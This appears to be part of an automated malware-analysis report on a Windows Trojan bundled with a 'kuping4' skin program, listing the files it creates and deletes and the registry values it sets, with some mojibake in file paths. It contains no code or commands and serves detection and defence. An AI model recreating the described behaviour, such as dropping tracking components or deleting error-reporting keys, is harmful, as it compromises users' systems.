C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\focus.png (199 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\drop-down.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg_01.png (974 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\sina_logo.png (638 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\app.png (987 bytes)
C:\kuping4\TempDownLoad\TagInfo\TagVersion.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÏ\MainSkin.ini (3 bytes)
C:\kuping4\Uninstall\skinConfig_un\skinconfig.ini (85 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\album.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\My-collection.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\begin.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\title-Modify-head.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\gray.png (313 bytes)
C:\kuping4\QuickenFunctionConfig\deskIco\status.ini (16 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\img_01.png (588 bytes)
C:\kuping4\Appsoftconfig\image\play.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\application\iconlist_bg.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\head120.png (1372 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\silder-fill.png (343 bytes)
C:\kuping4\Update\soft.ini (908 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\set-cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\logo.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\icon_focus.png (510 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-1.png (794 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\btn_known.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\tailorBg.jpg (1764 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\cheak.png (564 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\logo.png (970 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\update.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\orange.png (327 bytes)
C:\kuping4\skinConfig\skinversion.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\shuyeer.png (196 bytes)
C:\kuping4\Appsoftconfig\image\buttoncoculation.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ScreenSaverNavigation_Layer.ini (196 bytes)
C:\kuping4\Appsoftconfig\image\soft.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\set_icon.png (782 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\upon.png (288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\TongJICNZZ.dll (65 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateSkin.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\h[1].js (5 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\bg_wf.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\popmenu.png (678 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\check-box_focus.png (991 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\My-share.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\focus-l.png (222 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\about\about.png (1176 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\m.png (3 bytes)
C:\kuping4\MSGBoxSkin\UI\warning.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\¡Ì.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\page2.png (106 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\sure.png (634 bytes)
C:\kuping4\UserBehaviorStatistics.dll (471 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list_theme.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\logo.png (584 bytes)
C:\kuping4\kp4_Mini.exe (157 bytes)
C:\kuping4\skinConfig\ĬÈÏ\AllApplication_Layer.ini (1 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\input.png (212 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\Label-input-box1.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\continue.png (382 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\delete.png (486 bytes)
C:\kuping4\uninstall.exe (2145 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\add-m.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\recover.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\SepLine.png (99 bytes)
C:\kuping4\TempDownLoad\Home\11275.jpg_0 (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin_bg_01.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\updown.png (280 bytes)
C:\kuping4\skinConfig\ĬÈÏ\HomePageShow_Layer.ini (3 bytes)
C:\kuping4\Appsoftconfig\APPversion.ini (59 bytes)
C:\kuping4\MSGBoxSkin\UI\faild.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\refresh.png (1 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\seach.png (1 bytes)
C:\kuping4\Update\SkinResource\Exit.png (1 bytes)
C:\kuping4\Appsoftconfig\image\buttonplay.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateCheckPage.ini (261 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\loading2.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateInfoPage.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\MyBaoku.ini (3 bytes)
C:\kuping4\DeskTopPop.exe (1529 bytes)
C:\kuping4\Appsoftconfig\image\sou.png (196 bytes)
C:\kuping4\Update\SkinResource\IsNew.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\Boot-screen.png (196 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\close.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\scroll.png (410 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\mennu-bg.png (363 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\blue.png (90 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\min.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\cancel.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\collection.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\set.png (234 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\nextpage.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\BootScreenNavigation_Layer.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\brown.png (286 bytes)
C:\kuping4\Update\SkinResource\BKStep1.png (902 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\icon.png (392 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\MainMenuDlgSkin.ini (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\¿áÆÁ4\жÔØ¿áÆÁ4.lnk (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress.png (179 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\save.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SystemThemeNavigation_Layer.ini (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\pink.png (290 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\wallpaper.png (196 bytes)
C:\kuping4\MSGBoxSkin\UI\error.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\21[1].gif (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\doc_plus_icon&16.png (264 bytes)
C:\kuping4\unrar.dll (824 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\down.png (161 bytes)
C:\kuping4\Update\SkinResource\ProgressBar.png (984 bytes)
C:\kuping4\QuickenFunctionConfig\deskIco\DeskIconConfig.xml (8 bytes)
C:\kuping4\KPMsgBoxDll.dll (2694 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\feedback_icon.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Silence-set_button.png (1 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\finish2.png (588 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\small.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\focus-2.png (200 bytes)
C:\kuping4\TempDownLoad\Home\11274.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\delete-button.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\WebPage.ini (594 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\list-bg.png (96 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\mouse.png (549 bytes)
C:\kuping4\skinConfig\skinconfig.ini (84 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Download-set.png (966 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Multi.png (998 bytes)
C:\kuping4\login.dll (2185 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\right_bg.png (194 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Application-Settings.png (953 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-share\bg.png (196 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\¿áÆÁ4.lnk (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\line_h.png (92 bytes)
C:\kuping4\skinConfig\ĬÈÏ\WebContrl_Layer.ini (775 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ImageLookDlgConfig\MainSkin.ini (129 bytes)
C:\kuping4\TongJICNZZ.dll (1333 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\application.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_down.png (982 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\black.png (316 bytes)
%Documents and Settings%\%current user%\Desktop\¿áÆÁ4.lnk (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\start.png (941 bytes)
C:\kuping4\dgmon.dll (471 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\Input-box.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\view-bg.png (509 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\fail.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\lijiuninstall.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Screening-bg2.png (102 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\Alert.png (1 bytes)
C:\kuping4\Appsoftconfig\image\Iebuttonlogo.png (196 bytes)
C:\kuping4\TempDownLoad\Home\home.xml (1764 bytes)
C:\kuping4\livability.dll (510 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\tongji_baidu[1].htm (295 bytes)
C:\kuping4\Update\SkinResource\Fnish.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\fail.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\WebContro.ini (617 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\show.png (413 bytes)
C:\kuping4\Kp_BootClr.exe (1137 bytes)
C:\kuping4\Repairer.exe (549 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\re.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateNormal.ini (641 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\backpage.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\white.png (283 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\bg_small.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\set_1.png (522 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-03_03.png (980 bytes)
C:\kuping4\Appsoftconfig\image\cmd.png (196 bytes)
C:\kuping4\Update\SkinResource\Point.png (1 bytes)
C:\kuping4\BootStart.dll (157 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\cancel.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg_03.png (412 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\logo.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\about\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\notice\Alert.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\App-manager.png (654 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\display_shadow.png (115 bytes)
C:\kuping4\Universal\UniversalCpaSkin.rar (1098 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\app-button.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\content.png (416 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\delete.png (486 bytes)
C:\kuping4\MSGBoxSkin\UI\infomation.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\mennu-bg2.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\stat[1].php (770 bytes)
C:\kuping4\Appsoftconfig\image\coculation.png (196 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\img.wallba[1].xml (266 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\cut_button-hand.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\headbg.png (556 bytes)
C:\kuping4\skinConfig\ĬÈÏ\DownloadWebImageDlg\MainSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\My-resources.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\about.png (606 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\dan_xuan.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\bg_vein.png (268 bytes)
C:\kuping4\Appsoftconfig\button.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\LocTween_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\login-btn.png (2 bytes)
C:\kuping4\Update\SkinResource\Cancel.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateNoticeDlg.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\scroll_thumb.png (842 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\MSIMGSIZ.DAT (8 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SeverTween_Layer.ini (1 bytes)
C:\kuping4\Update\SkinResource\BKStep2.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\screen.png (314 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\h[2].js (12 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tip.png (591 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\set.png (549 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\notchoose.png (879 bytes)
C:\kuping4\version.ini (44 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\red.png (318 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_up.png (927 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\head60.png (392 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\up.png (160 bytes)
C:\kuping4\SystemConfig\LocWallpaleXml.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Software-update.png (998 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\loading.png (3 bytes)
C:\kuping4\Update\UpData.dll (2342 bytes)
C:\kuping4\Update\SkinResource\Update.png (196 bytes)
C:\kuping4\QuickenFunctionConfig\Setup\CpaConfig.xml (8 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\local.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\scroll_block.png (763 bytes)
C:\kuping4\IndividualCenter.dll (5389 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\list-bg2.png (2 bytes)
C:\kuping4\SkinCenter.dll (3635 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\myDownLoad.png (392 bytes)
C:\kuping4\Kpclick.ini (187 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ResourceNavigation_Layer.ini (974 bytes)
C:\kuping4\MSGBoxSkin\UI\yes_button.png (1 bytes)
C:\kuping4\Appsoftconfig\softtempfile\soft.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\iconlist_bg.png (314 bytes)
C:\kuping4\Appsoftconfig\image\buttonsou.png (196 bytes)
C:\kuping4\skinConfig\SkinSetting.xml (1 bytes)
C:\kuping4\MSGBoxSkin\UI\question.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\bkimg.png (429 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Directory-box_bg.png (397 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\installedSoftInfo.ini (1952 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-4.png (287 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\submit.png (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\core[1].php (799 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\check-box.png (540 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\flowerpot.png (3 bytes)
C:\kuping4\Update\info.ini (18 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\doc_empty_icon&16.png (293 bytes)
C:\kuping4\Update\UDStatictical.dll (1882 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\choose.png (883 bytes)
C:\kuping4\TempDownLoad\TagInfo\list_xp.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\finish-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\ConventionalMenu_Layer.ini (1 bytes)
C:\kuping4\KPConfig.inf (3 bytes)
C:\kuping4\Uninstall\installedSoftInfo.ini (984 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-02.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\share.png (472 bytes)
C:\kuping4\TempDownLoad\Home\11277.jpg (196 bytes)
C:\kuping4\SystemConfig\LocThemeXml.xml (416 bytes)
C:\kuping4\ThemeInstall.dll (863 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Screening-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\caption-bg.png (417 bytes)
C:\kuping4\MSGBoxSkin\UI\bg_top.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\cheakskin\MainSkin.ini (1 bytes)
C:\kuping4\MSGBoxSkin\UI\cancel-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\refresh.png (726 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\suspend.png (504 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\tempfile.tmp (184 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\apple.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\DesktopWallpaperNavigation_Layer.ini (196 bytes)
C:\kuping4\Update\SkinResource\PopupBox.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag.png (195 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\kankan.png (1725 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÏ\NoLogin_Layer.ini (941 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\use.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\bg_01.png (392 bytes)
C:\kuping4\TempDownLoad\SearchBuff.ini (23 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag-bg.png (350 bytes)
C:\kuping4\MSGBoxSkin\UI\no_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\purple.png (325 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\progress_frame.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\failure.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\h[2].js (12 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\DownLoadMenu_Layer.ini (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\min.png (338 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\xiezai.png (375 bytes)
C:\kuping4\TempDownLoad\Home\11278.jpg (588 bytes)
C:\kuping4\Update\SkinResource\Ok.png (196 bytes)
C:\kuping4\Update\SkinResource\FnishSmall.png (2 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\mennu_narrow.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\progress\icon_focus.png (317 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\skin.png (629 bytes)
C:\kuping4\Update\Skin.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\jindutiao1.png (99 bytes)
C:\kuping4\ExpandPackCheck.exe (1725 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\icon.png (1764 bytes)
C:\kuping4\MSGBoxSkin\UI\ok_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\focus3.png (357 bytes)
C:\kuping4\skinConfig\ĬÈÏ\AboutDlgConfig\MainDlg.ini (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\TongJICNZZ.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013030120130302 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\h[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.aaa[1].xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\cancel.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\MsgBox_1.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\h[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\installedSoftInfo.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013021120130218 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\bg_small.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013021120130218\index.dat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013021820130225 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013021820130225\index.dat (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@img.wallba[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\close.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_7E.tmp (0 bytes)
C:\op_7E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\LZMA.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013030120130302\index.dat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\btn_known.png (0 bytes)

Registry activity

The process kp4_Mini.exe:660 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5F D8 3C 8C 65 7A F7 15 B8 99 C8 26 BE F9 1B 2C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The Trojan deletes the following registry key(s):

[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]

